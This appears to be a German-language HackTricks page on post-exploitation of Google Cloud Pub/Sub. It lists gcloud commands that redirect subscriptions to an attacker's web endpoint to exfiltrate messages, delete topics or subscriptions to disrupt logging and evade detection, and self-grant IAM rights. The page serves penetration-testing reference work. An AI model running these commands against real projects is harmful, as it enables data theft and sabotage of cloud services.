GCP - Pub/Sub Post Exploitation

Unterstütze HackTricks

Pub/Sub

Für weitere Informationen über Pub/Sub siehe die folgende Seite:

GCP - Pub/Sub Enum

pubsub.topics.publish

Veröffentliche eine Nachricht in einem Thema, nützlich, um unerwartete Daten zu senden und unerwartete Funktionen auszulösen oder Schwachstellen auszunutzen:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Nützlich, um zu verhindern, dass ein Abonnement Nachrichten empfängt, möglicherweise um eine Entdeckung zu vermeiden.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Nützlich, um zu verhindern, dass ein Abonnement Nachrichten empfängt, möglicherweise um eine Erkennung zu vermeiden. Es ist möglich, ein Thema zu löschen, selbst wenn Abonnements daran angehängt sind.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Verwenden Sie diese Berechtigung, um einige Einstellungen des Themas zu ändern und es zu stören, wie --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key...

pubsub.topics.setIamPolicy

Geben Sie sich selbst die Berechtigung, um eine der vorherigen Angriffe durchzuführen.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Holen Sie sich alle Nachrichten auf einem Webserver:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Erstellen Sie ein Abonnement und verwenden Sie es, um Nachrichten abzurufen:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Löschen eines Abonnements könnte nützlich sein, um ein Log-Verarbeitungssystem oder etwas Ähnliches zu stören:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Verwenden Sie diese Berechtigung, um einige Einstellungen zu aktualisieren, damit Nachrichten an einem Ort gespeichert werden, auf den Sie zugreifen können (URL, Big Query-Tabelle, Bucket) oder um sie einfach zu stören.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Geben Sie sich selbst die benötigten Berechtigungen, um eine der zuvor genannten Angriffe durchzuführen.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Einen Schema an ein Topic anhängen, sodass die Nachrichten es nicht erfüllen und daher das Topic gestört wird. Falls keine Schemas vorhanden sind, müssen Sie möglicherweise eines erstellen.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Dies könnte so aussehen, als ob das Löschen eines Schemas es Ihnen ermöglichen würde, Nachrichten zu senden, die nicht dem Schema entsprechen. Da das Schema jedoch gelöscht wird, wird tatsächlich keine Nachricht in das Thema gelangen. Das ist also NUTZLOS:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Geben Sie sich selbst die Berechtigungen, die erforderlich sind, um einen der zuvor genannten Angriffe durchzuführen.

pubsub.snapshots.create, pubsub.snapshots.seek

Dies wird einen Snapshot aller nicht bestätigten Nachrichten erstellen und sie zurück zum Abonnement setzen. Nicht sehr nützlich für einen Angreifer, aber hier ist es:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Unterstütze HackTricks

Last updated